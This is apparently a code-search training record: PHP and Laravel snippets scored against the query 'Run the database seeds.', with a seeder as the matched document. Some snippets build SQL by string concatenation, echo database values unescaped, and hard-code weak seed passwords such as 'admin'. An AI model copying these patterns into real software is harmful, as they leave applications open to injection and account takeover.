class=\"linkPopupIndicador\" alt=\"Indicador\" title=\"Indicador\"><img src=\"../imagens/eixos-mini2.png\" height=\"15\" border=\"0\" /></a>&nbsp;' : '') . '\n <a href=\"/painel/painel.php?modulo=principal/detalhamentoIndicador&acao=A&detalhes=pais&acaid=' . $data['codigo'] . '\" target=\"_blank\" class=\"linkPopupIndicador\" alt=\"Detalhe do Indicador\" title=\"Detalhe do Indicador\"><img src=\"../imagens/seriehistorica_ativa.gif\" height=\"15\" border=\"0\" /></a>&nbsp;\n <span class=\"textoDescricao\" title=\"' . $data['acadetalhe'] . '\" alt=\"' . $data['acadetalhe'] . '\">' . $data['nome'] . '</span><br/>\n </div>\n ';\n }\n }\n }\n ?>\n </td>\n <td id=\"div_orcamentos\" align=\"left\" valign=\"top\" style=\"padding-right:4px;\">\n <?php\n //$sql = \"select acaid from pde.ae_objetivoestrategicoxacao where obeid =\".$arIds[1];\n $sql = \"SELECT acaid\n FROM pde.ae_objetivoestrategicoxmetapne obe\n INNER JOIN pde.ae_acaoxmetapne met ON met.mpneid = obe.mpneid\n WHERE obe.obeid = \".$arIds[1];\n $dados = $db->carregarColuna($sql, 'acaid');\n $orcamentos = implode(',', $dados);\n\n if ($orcamentos) {\n $sql = \"SELECT vacid, vaetituloorcamentario AS nome\n FROM planacomorc.vinculacaoacaoestrategica\n WHERE acaid in ($orcamentos)\n ORDER BY nome\";\n $rs = $db->carregar($sql);\n if ($rs) {\n foreach ($rs as $data) {\n echo '\n <div class=\"tile1 tile4 roxo\" onclick=\"abreOrcamento('.$data['vacid'].');\">\n <span class=\"textoDescricao\" title=\"' . $data['descricao'] . '\">' . $data['nome'] . '</span><br/>\n </div>\n ';\n }\n }\n }\n ?>\n </td>\n <td id=\"div_projetos\" align=\"left\" valign=\"top\" style=\"padding-right:4px;\">\n <?php\n $sql = \"select solid from pto.objetivosolucao where obeid =\".$arIds[1];\n $dados = $db->carregarColuna($sql,'solid');\n $solucoes = implode(',',$dados);\n\n if ($solucoes)\n {\n $sql = \"SELECT DISTINCT tes.temid, sol.solid AS codigo, COALESCE(sol.solapelido,sol.soldsc) AS nome, sol.solordem\n FROM pto.solucao sol\n INNER JOIN pto.temasolucao tes ON tes.solid = sol.solid\n WHERE sol.solstatus = 'A'\n AND sol.solid IN ($solucoes)\n ORDER BY sol.solordem\";\n $rs = $db->carregar($sql);\n\n if ($rs)\n {\n foreach($rs as $data)\n {\n echo '<div id=\"'.$data['temid'].'_'.$data['codigo'].'\" class=\"tile1 tile4 marromClaro clickProjetos\">\n <a href=\"/pto/pto.php?modulo=relatorio/painelVersaoImpressao&acao=A&solid='. $data['codigo'] .'\" target=\"_blank\"><img src=\"../imagens/icones/icons/Preview.png\" height=\"30px\" width=\"30px\" title=\"Detalhar Projeto\"></a>&nbsp;\n\t\t\t\t\t\t \t\t \t\t <span class=\"textoDescricao\">'.$data['nome'].'</span><br/>\n\t\t\t\t\t\t \t\t \t\t </div>';\n }\n }\n }\n ?>\n </td>\n </tr>\n </table>\n </div>\n<?php\n}", "function drop_index($table, $index)\n {\n }", "protected function invalidateIndex()\n {\n $this->labelIndexer->invalidateIndex();\n }", "function indexInfo( $table, $index, $fname = __METHOD__ );", "function desplegarTabla($query,$anchtable=array(),$iconos=array(),$coLoTabla=\"table-primary\"){\n\n\tglobal $oBD;\n\n\t$registros = $oBD->consulta($query);\n\n\t$columnas = mysqli_num_fields($registros);\n\techo '<table class= \"table table-hover'.$coLoTabla.'\">';\n\t// creacion de la cabecera\n\techo '<tr class=\"table-dark\">';// hace el renglon\n\n\t// if (count($anchtable)){\n\t// \tforeach ($anchtable as $anch) {\n\t// \t\techo \"<td style=width:$anch.'%';></td>\";\n\t// \t\techo $anch;\n\t// \t}\n\t// }\n$k = 0;\n// si el count de iconos existe entonces me mandaron iconos \n\tif (count($iconos)){\n\t\tforeach ($iconos as $icono) {\n\t\t\techo $k;\n\t\t\t\t\t\n\t\t\tif (count($anchtable)) {\n\t\t\t\techo \"<td style=width:$anchtable[$k];>&nbsp;</td>\";\t\n\t\t\t}else{\n\t\t\t\techo \"<td>&nbsp;</td>\";\t\n\t\t\t}\n\n\t\t\t$k++;\n\t\t}\n\t}\n\t//echo $columnas;\n\techo $k;\n\t//$k=$k-1;\n\tfor ($c=0; $c < $columnas; $c++){\n\t\t// para traer los nombres de los campos\n\t\t$campo=mysqli_fetch_field_direct($registros,$c); // da la informacion de un campo en la base de datos\n\t\t \n\t\t if (count($anchtable)) {\n\t\t\t\techo \"<td style=width:$anchtable[$k];>$campo->name.$c</td>\";\t\n\t\t\t}else{\n\t\t\t\techo '<td style=\"width:(90/$columnas)%\">'.$campo->name.'</td>';\t\t\n\t\t\t}\n\t\t // echo $anchtable[$c];\n\t\t $k++;\n\t\t\n\t}\n\techo '</tr>';\n\t// fin cabecera\n\t// comienzo de registros\n\tfor ($r=0; $r < $oBD->numeRegistros; $r++) \n\t{ echo '<tr>';\n\t\t// agregando iconos\n\t\t// EN EL CASO DE QUE \"UPDATE EXISTA EN EL ARRGLO DE LOS ICONOS\"\n\t\tif (in_array(\"update\", $iconos)) {\n\t\t\t//da comportamiento de los iconos\n\t\t\techo '<td style=\"width:5%\"><img src=\"imagenes/update.png\"></td>';\n\t\t}\n\n\t\tif (in_array(\"delete\", $iconos)) {\n\t\t\t//da comportamiento de los iconos\n\t\t\techo '<td style=\"width:5%\"><img src=\"imagenes/delete.png\"></td>';\n\t\t}\n\n\n\t\t$campos = mysqli_fetch_array($registros);\n\t\t// despliega la informacion de un registro especifico\n\t\tfor ($c=0; $c < $columnas; $c++) \n\t\t\techo '<td>'.$campos[$c].'</td>';\n\t echo '</tr>';\n\t\t\n\t}\necho '</table>';\necho $k;\n}", "function ImprimeTable($idTabla, $data, $pactu = \"\", $peli = \"\",$classCSS=\"\") {\n // echo \"ImprimeTable:::::::::::::::\".count($data[\"cuerpo\"]).\" <br>\";\n\t\ttry {\n // if (count($data) > 0) {\n\t\t\t $tabla = '<table id=\"'.$idTabla.'\" class=\"' . $classCSS . '\" cellpadding=\"0\" cellspacing=\"1\" border=\"1\" align=\"center\" style=\"text-align:center\" >';\n\t\t\t if (count($data[\"columnas\"]) > 0) {\n\t\t\t\t$tabla.= '<thead>';\n $tabla .= '<tr>';\n $conta = 0;\n $conte = 0;\n\t\t\t\t\n for ($x = 0;$x < count($data[\"columnas\"]);$x++) {\n\t\t\t\t\t \n if ($pactu != \"\") {\n if ($conta == 0) {;\n\t\t\t\t\t\t $tabla.= '<th></th>';\n //$tabla.= '<td></td>';\n }\n }\n if ($peli != \"\") {\n if ($conte == 0) {;\n $tabla.= '<th></th>';\n\t\t\t\t\t\t\t//$tabla.= '<td></td>';\n }\n }\n $conta++;\n $conte++;\n $tabla.= '<th>' . utf8_encode($data[\"columnas\"][$x]) . '</th>'; \n }\n\t\t\t\t$tabla.= \"</tr>\";\n\t\t\t\t$tabla.= '</thead>';\n\t\t\t }\n //===========CUERPO DE TABLA=================================================================================================\n $cantele = count($data[\"cuerpo\"]);\n if ($cantele > 0) {\n for ($i = 0;$i < $cantele;$i++) {\n $conta = 0;\n $conte = 0;\n $tabla.= \"<tr>\";\n for ($z = 0;$z < count($data[\"columnas\"]);$z++) {\n $columnas = $data[\"columnas\"][$z];\n if (isset($data[\"cuerpo\"][$i][\"$columnas\"])) {\n if ($pactu != \"\") {\n if ($conta == 0) {\n // $tabla.= '<td><a href=\"javascript:Modificar('. $data[\"cuerpo\"][$i][\"$columnas\"] .');\" title=\"Actualizar\" ><img title=\"Actualizar\" src=\"../imgcixphp/ico_actualizar.gif\" title=\"Actualizar\" width=\"16\" height=\"16\"/></a></td>';\n\t\t\t\t\t\t\t\t $tabla.= '<td><a href=\"#\" onClick=\"Modificar('. $data[\"cuerpo\"][$i][\"$columnas\"] .'); return false;\" title=\"Actualizar\" ><img title=\"Actualizar\" src=\"../imgcixphp/ico_actualizar.gif\" title=\"Actualizar\" width=\"16\" height=\"16\"/></a></td>';\n }\n }\n if ($peli != \"\") {\n if ($conte == 0) {;\n $tabla.= '<td><a href=\"#\" onClick=\"Eliminar('.$data[\"cuerpo\"][$i][\"$columnas\"] .'); return false;\" ><img src=\"../imgcixphp/delete.gif\" width=\"16\" title=\"Eliminar\" height=\"16\"/></a></td>';\n }\n }\n }\n $conta++;\n $conte++;\n if (isset($data[\"cuerpo\"][$i][\"$columnas\"])) {\n $tabla.= '<td>' . $data[\"cuerpo\"][$i][\"$columnas\"] . ' </td>';\n }\n }\n $tabla.= \"</tr>\";\n }\n \n }else{//solo si es k no hay datos\n\t\t\t\t$mensaje= \"No se encuentran Ningun Dato Registrado\"; \n\t\t\t $tabla.='<tfoot><tr> <td >&nbsp; '.$mensaje.' </td></tr></tfoot>';\n\t\t\t\t}\n\t\t\t\t\t\t \n\t\t\t//===========FIN CUERPO DE TABLA===========================================================================================\n $tabla.= \"</table><br>\";\n\t\t\t\t//}\n }\n catch(exception $e) {\n return $e->getMessage();\n }\n return $tabla;\n }", "private function populateDummyTable() {}", "public function crearTablas(){\r\n\t\t\t$this->crearTablaUsuario();\r\n\t\t\t$this->crearTablaDeporte();\r\n\t\t\t$this->crearTablaUsuarioDeporte();\r\n\t\t\t$this->crearTablaPassw();\r\n\t\t}", "function getIndex() ;", "protected function _initsTable() {}", "public function indexAsistenciaDiaria()\n {\n try {\n $dbm = new DbmControlescolar($this->get(\"db_manager\")->getEntityManager());\n $ciclo = $dbm->getRepositoriosById(\"Ciclo\", \"activo\", 1);\n $nivel = $dbm->getRepositoriosModelo(\"Nivel\", \n [\"d.nivelid, d.nombre\"], \n [[\"nivelid is not null and cn.asistenciapordia = 1 and d.activo = 1 \"]], false, true, [\n [\"entidad\" => \"CeConfiguracionnivel\", \"alias\" => \"cn\", \"left\" => false, \"on\" => \"cn.configuracionnivelid = d.configuracionnivelid\"]\n ]);\n $grado = $dbm->getRepositoriosById('Grado', 'activo', 1);\n $semestre = $dbm->getRepositoriosById('CeSemestre', 'activo', 1);\n $grupo = $dbm->getRepositoriosById('CeGrupo', 'tipogrupoid', 1);\n\t\t\t$periodoeval = $dbm->getRepositoriosModelo(\"CePeriodoevaluacion\", [\"d.periodoevaluacionid, d.descripcion, IDENTITY(c.cicloid) as cicloid, GROUPCONCAT(DISTINCT IDENTITY(g.gradoid)) as gradoid\"],\n\t\t\t\t[], false, false, [\n\t\t\t\t[\"entidad\" => \"CeConjuntoperiodoevaluacion\", \"alias\" => \"c\", \"left\" => false, \"on\" => \"c.conjuntoperiodoevaluacionid = d.conjuntoperiodoevaluacionid\"],\n\t\t\t\t[\"entidad\" => \"CeGradoporconjuntoperiodoescolar\", \"alias\" => \"g\", \"left\" => false, \"on\" => \"g.conjuntoperiodoevaluacionid = d.conjuntoperiodoevaluacionid\"],\n ], 'd.periodoevaluacionid');\n $param = $dbm->getRepositorioById('Parametros', 'parametrosid', 156);\n\n\n $array = array(\"ciclo\" => $ciclo, \n \"nivel\" => $nivel, \n \"grado\" => $grado, \n \"semestre\" => $semestre,\n \"grupo\" => $grupo,\n \"periodos\" => $periodoeval,\n \"param\" => $param && $param->getValor() ? intval($param->getValor()) : null\n );\n return new View($array, Response::HTTP_OK);\n } catch (\\Exception $e) {\n return new View($e->getMessage(), Response::HTTP_BAD_REQUEST);\n }\n }", "public function resetAllIndexes()\n {\n foreach ($this->indexManager->getIndexes() as $index) {\n try {\n $index->truncate();\n }\n catch (DatabaseException $ex)\n {\n }\n }\n }", "abstract protected function _buildCalcRows();", "function listarTablaInstancia(){\n\t\t$this->procedimiento='wf.ft_tabla_instancia_sel';\n\t\t$this->transaccion='WF_TABLAINS_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\n\t\t$this->setParametro('id_tabla','id_tabla','integer');\n\t\t$this->setParametro('historico','historico','varchar');\n\t\t$this->setParametro('tipo_estado','tipo_estado','varchar');\n\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_' . $_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['atributos']['bd_nombre_tabla'],'int4');\n\t\t\n\t\tif ($_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['atributos']['vista_tipo'] == 'maestro') {\n\t\t\t\t\n\t\t\t$this->captura('estado','varchar');\n\t\t\t$this->captura('id_estado_wf','int4');\n\t\t\t$this->captura('id_proceso_wf','int4');\n\t\t\t$this->captura('obs','text');\n\t\t\t$this->captura('nro_tramite','varchar');\n\t\t}\n\t\t\n\t\tforeach ($_SESSION['_wf_ins_'.$this->objParam->getParametro('tipo_proceso').'_'.$this->objParam->getParametro('tipo_estado')]['columnas'] as $value) {\n\t\t\t\n\t\t\t$this->captura($value['bd_nombre_columna'],$value['bd_tipo_columna']);\t\t\n\t\t\t//campos adicionales\n\t\t\tif ($value['bd_campos_adicionales'] != '' && $value['bd_campos_adicionales'] != null) {\n\t\t\t\t$campos_adicionales = explode(',', $value['bd_campos_adicionales']);\n\t\t\t\t\n\t\t\t\tforeach ($campos_adicionales as $campo_adicional) {\n\t\t\t\t\t\n\t\t\t\t\t$valores = explode(' ', $campo_adicional);\n\t\t\t\t\t$this->captura($valores[1],$valores[2]);\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t$this->captura('estado_reg','varchar');\t\t\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}" ]
[ "0.69087636", "0.66637504", "0.6091386", "0.60365283", "0.5995646", "0.5904496", "0.58716613", "0.58618194", "0.58019805", "0.57815003", "0.57768106", "0.57592136", "0.5737648", "0.5729976", "0.5723194", "0.5658606", "0.56407857", "0.5613896", "0.55904025", "0.5588438", "0.5565225", "0.5547764", "0.55187964", "0.551237", "0.5483588", "0.5479451", "0.54198986", "0.54034746", "0.53928787", "0.5390184", "0.5387418", "0.5381725", "0.53815776", "0.5377945", "0.53749496", "0.5365458", "0.53566295", "0.5317261", "0.5305439", "0.5283614", "0.52830243", "0.52791625", "0.5269354", "0.52329844", "0.52260137", "0.51961696", "0.5169081", "0.5141381", "0.5132815", "0.5120875", "0.511164", "0.5086525", "0.5077606", "0.50754595", "0.50654924", "0.5058414", "0.5057447", "0.50567305", "0.5038309", "0.5027297", "0.5019044", "0.50133973", "0.5011133", "0.49999496", "0.49941817", "0.49941817", "0.49941817", "0.4989386", "0.49872607", "0.49867606", "0.49777484", "0.4975081", "0.4972053", "0.49710247", "0.49682227", "0.49660113", "0.4963808", "0.4962984", "0.4956114", "0.49511996", "0.49461904", "0.4943821", "0.49430075", "0.49384928", "0.49384078", "0.49371803", "0.49357975", "0.4934284", "0.49341574", "0.49319938", "0.49299008", "0.4923743", "0.49214208", "0.4909275", "0.4907996", "0.49076203", "0.49068618", "0.49035022", "0.49007857", "0.48967558" ]
0.6419685
2
Run the database seeds.
public function run() { factory(\App\Aluno::class, 100)->create()->each(function ($aluno) { factory(App\Cobranca::class)->create([ 'aluno_id' => [$aluno->id] ])->make(); }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n 